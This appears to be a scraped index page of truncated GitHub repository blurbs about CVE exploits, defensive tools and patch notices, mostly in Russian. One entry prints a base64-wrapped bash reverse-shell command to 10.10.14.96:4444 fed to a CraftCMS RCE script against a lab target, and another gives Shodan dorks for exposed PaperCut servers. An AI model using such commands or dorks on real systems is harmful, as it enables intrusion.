cve-unassigned-1

CVE-UNASSIGNED-1 Это часть Cved: инструмент для управления уязвимыми docker-контейнерами. Cved: https://github.com/git-rep-src/cved Источник образа: https://github.com/cved-sources/cve-unassigned-1 Автор образа: https://github.com/cved-sources/cve-unassigned-1...

Ubuntu-0day

Ubuntu16.04-0day Затронутые версии: уязвимы все экземпляры Ubuntu AWS с ядром 4.4 Jann Horn обнаружил, что в некоторых случаях Berkeley Packet Filter BPF в ядре Linux некорректно выполняет проверку расширения знака в checkaluop. Локальный злоумышленник может использовать эту уязвимость для...

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

Название эксплойта: Неаутентифицированное удалённое выполнение кода RCE - Poultry Farm Management System v1.0 Дата: 24-06-2024 CVE: CVE-2024-40110 EDB-ID: 52053 Автор эксплойта: Jerry Thomas w3bn00b3r Сайт разработчика:...

MoxaPass

Это пример эксплойта для CVE-2016-9361. Он извлекает SNMP community string и пароль 'admin' для многих видов устройств Moxa. В нём используется проприетарный протокол управления Moxa по UDP/4800. Протокол не имеет защиты, и использование кода функции 'unlock' не требует пароля. Известно, что этот...

ncentral-compromise-ioc-triage

N-central Compromise IoC Triage Read-only defensive hunting toolkit for post-exploitation artifacts associated with N-able N-central authentication bypass vulnerabilities CVE-2026-18556 and CVE-2026-18577. The PowerShell endpoint scanner flags indicators published by N-able and Huntress; it never...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

CVE-2021-24507

CVE-2021-24507 Astra Pro Addon 3.5.2 - SQL-инъекция без аутентификации - CVE-2021-24507...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC PoC для: CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 Видео PoC: https://youtu.be/u8mccaakISw...

CVE_POC

В этом репозитории нет README...

optionsbleed

optionsbleed Это код в стиле proof of concept для проверки ошибки Optionsbleed в Apache httpd CVE-2017-9798. Вместо этого рассмотрите возможность использования инструмента Snallygaster: в него включена проверка на optionsbleed: root@kitploit: snallygaster -t optionsbleed host использование...

msiscan

MSI Analyzer Этот Python-скрипт для Linux анализирует установочные файлы Microsoft Windows .msi и указывает на потенциальные уязвимости. Он был разработан Michael Baer @derbaer0 в SEC Consult Vulnerability Lab. В настоящее время он в первую очередь подходит для локального повышения привилегий,...

CVE-PoC

В этом репозитории нет README...

ROOT-OS-DEBIAN-13-CVE-2026-85091 CVE-2026-85091 in zlib - Patched by Root

Root has patched CVE-2026-85091 in the zlib package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-27171 CVE-2026-27171 in zlib - Patched by Root

Root has patched CVE-2026-27171 in the zlib package for Root:Debian:13. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2022-23646 CVE-2022-23646 in next - Patched by Root

Root has patched CVE-2022-23646 in the next package for Root:npm. Multiple fixed versions available...

psa-2026-00043-recovery

psa-2026-00043-recovery 랜섬웨어로 위장한 와이퍼Wiper 공격 이후 복구 — 인터넷에 노출된 Proxmox 인프라에 대한 공격PSA-2026-00043-1 / CVE-2023-54391 사례. 공격자는 게스트를 삭제하고 파일시스템을 손상시켰습니다. 게스트 유형에 따라 두 가지 복구 경로가 있습니다: 데이터베이스 게스트 — 원시 WiredTiger 페이지에서 BSON 문서를 캐러빙carving 애플리케이션 호스트 — 손상된 파일시스템에서 파일nginx, systemd 유닛, env, 앱 루트을 캐러빙 이것은...

CVE-2023-27350

CVE-2023-27350 Python 2.7 Купить кофе : Bitcoin $: 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money $: U22270614 Ссылка : https://nvd.nist.gov/vuln/detail/CVE-2023-27350 Shodan Dork http.html:"papercut" http.html:"papercut" port:9191 http.title:"PaperCut Login"...

CVE-2024-24210

CVE-2024-24210 Отчёт по исследованию безопасности...

Splunk-RCE-poc

Splunk RCE - PoC Эксплойт Proof of Concept для CVE-2023-46214, SVD-2023-1104 Использование URL-адрес экземпляра Splunk, имя пользователя, пароль, IP-адрес reverse shell и порт — все они обязательны в качестве параметров командной строки. Например: root@kitploit: $ python3 CVE-2023-46214.py --url...

YellowKey-WinRE-Remediation

YellowKey WinRE Remediation Intune Remediation package for the CVE-2026-45585 YellowKey BitLocker/WinRE bypass mitigation described in the provided procedure. This package removes autofstx.exe from the offline WinRE image's BootExecute value and refreshes WinRE registration so BitLocker trust is...